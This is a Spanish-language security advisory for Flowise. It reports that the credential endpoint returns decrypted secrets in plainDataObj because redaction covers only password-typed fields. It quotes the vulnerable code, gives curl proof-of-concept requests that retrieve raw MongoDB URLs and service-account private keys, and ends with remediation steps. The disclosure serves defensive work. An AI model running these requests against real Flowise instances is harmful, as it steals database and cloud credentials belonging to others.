Resumen
El endpoint GET /api/v1/credentials/:id de Flowise descifra los datos de credenciales almacenados y los devuelve en el campo plainDataObj de la respuesta de la API. Aunque existe una función redactCredentialWithPasswordType() que enmascara los campos definidos con type: 'password' en el esquema del componente, muchos tipos de credenciales almacenan datos altamente sensibles (URLs de conexión a bases de datos con contraseñas embebidas, JSON de cuentas de servicio de Google con claves privadas RSA, claves de acceso de AWS) en campos definidos como type: 'string'. Estos campos de tipo string se devuelven en texto plano completo sin ninguna redacción.
Cualquier usuario autenticado con el permiso credentials:view puede recuperar los secretos en bruto de cualquier credencial en su workspace llamando a este endpoint.
Código vulnerable
Capa de servicio
packages/server/src/services/credentials/index.ts, función getCredentialById() (línea 127):
En la línea 138, los datos cifrados de la credencial se descifran:
const decryptedCredentialData = await decryptCredentialData(
credential.encryptedData,
credential.credentialName,
appServer.nodesPool.componentCredentials
)
En las líneas 143-146, los datos descifrados se adjuntan a la respuesta como plainDataObj:
const returnCredential: ICredentialReturnResponse = {
...credential,
plainDataObj: decryptedCredentialData // <-- secretos descifrados en la respuesta
}
En la línea 147, solo se elimina encryptedData, dejando plainDataObj intacto:
const dbResponse: any = omit(returnCredential, ['encryptedData'])
Redacción incompleta
packages/server/src/utils/index.ts, función redactCredentialWithPasswordType() (línea 1697):
export const redactCredentialWithPasswordType = (
componentCredentialName: string,
decryptedCredentialObj: ICredentialDataDecrypted,
componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
const plainDataObj = cloneDeep(decryptedCredentialObj)
for (const cred in plainDataObj) {
const inputParam = componentCredentials[componentCredentialName].inputs?.find(
(inp) => inp.type === 'password' && inp.name === cred // <-- solo tipo 'password'
)
if (inputParam) {
plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
}
}
return plainDataObj
}
Esta función únicamente redacta los campos donde inp.type === 'password'. Los campos con type: 'string' se devuelven literalmente, incluso cuando contienen secretos.
Definiciones de credenciales que almacenan secretos en campos de tipo string
| Credencial | Campo | Tipo | Contiene |
|---|---|---|---|
mongoDBUrlApi | mongoDBConnectUrl | string | mongodb+srv://user:password@host/db |
googleVertexAuth | googleApplicationCredential | string | JSON completo de cuenta de servicio con clave privada RSA |
postgresUrl | postgresUrl | string | postgresql://user:password@host/db |
redisCacheUrlApi | redisUrl | string | redis://user:password@host:port |
awsApi | awsKey | string | AWS Access Key ID |
langfuseApi | langFusePublicKey | string | Clave pública de API de Langfuse |
httpBasicAuth | basicAuthUsername | string | Nombre de usuario de HTTP Basic Auth |
Existen más de 60 definiciones de credenciales en packages/components/credentials/, muchas con campos de tipo string que contienen información sensible.
Prueba de concepto
Entorno
- Flowise v3.0.13 (imagen Docker
flowiseai/flowise:latest) - Autenticado como usuario administrador mediante autenticación enterprise
Pasos para reproducir
- Iniciar Flowise e iniciar sesión como cualquier usuario con el permiso
credentials:view. - Crear una credencial de MongoDB con una URL de conexión que contenga credenciales embebidas:
curl -X POST "http://TARGET:3000/api/v1/credentials" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>" \
-d '{
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
}
}'
- Recuperar la credencial por ID:
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>"
Resultado observado
La API devuelve la URL de conexión de MongoDB en texto plano completo, incluyendo la contraseña embebida:
{
"id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"createdDate": "2026-02-07T17:35:29.000Z",
"updatedDate": "2026-02-07T17:35:29.000Z",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
}
}
La misma prueba con una credencial de Google Vertex Auth devolvió el JSON completo de la cuenta de servicio incluyendo la clave privada RSA en texto plano:
{
"id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
"name": "Google Vertex Auth",
"credentialName": "googleVertexAuth",
"plainDataObj": {
"googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"mybot@my-project-123.iam.gserviceaccount.com\"}",
"projectID": "my-project-123"
}
}
A modo de comparación, una clave de API de OpenAI (donde el campo está tipado como password) fue correctamente redactada:
{
"plainDataObj": {
"openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
}
}
Esto confirma que la redacción solo se aplica a los campos de tipo password, dejando los campos de tipo string completamente expuestos.
Impacto
- Robo de credenciales de bases de datos: las URLs de conexión de MongoDB, PostgreSQL, Redis y MySQL con contraseñas embebidas se devuelven en texto plano completo. Un atacante puede utilizarlas para acceder directamente a bases de datos de producción.
- Compromiso de cuentas de servicio en la nube: el JSON de cuentas de servicio de Google con claves privadas RSA se devuelve en texto plano, permitiendo la suplantación completa de la cuenta de servicio en todo Google Cloud.
- Exposición de claves AWS: los AWS Access Key IDs almacenados en campos de tipo
stringquedan expuestos, permitiendo la enumeración de credenciales AWS activas. - Movimiento lateral: las credenciales robadas permiten pivotar desde la instancia de Flowise hacia servicios cloud conectados, bases de datos y APIs.
- Riesgo en workspaces multiusuario: en despliegues con múltiples usuarios, cualquier usuario con el permiso
credentials:viewpuede extraer todas las credenciales del workspace a través de la API.
Remediación
- Aplicar
redactCredentialWithPasswordType()a todos los campos de credenciales sensibles, no solo a los tipados comopassword. Cualquier campo que contenga secretos (cadenas de conexión, credenciales JSON, claves de acceso) debe ser redactado. - Considerar no devolver nunca
plainDataObjen las respuestas de la API. La interfaz de usuario debería utilizar vistas previas enmascaradas (por ejemplo,mongodb+srv://admin:****@cluster0...) en lugar de valores completos. - Retipar los campos de credenciales sensibles de
stringapassworden las definiciones de componentes de credenciales, para garantizar que queden cubiertos por la lógica de redacción existente. - Añadir un indicador separado
secret: truea las definiciones de campos de credenciales para marcar explícitamente los campos sensibles independientemente de su tipo de entrada.
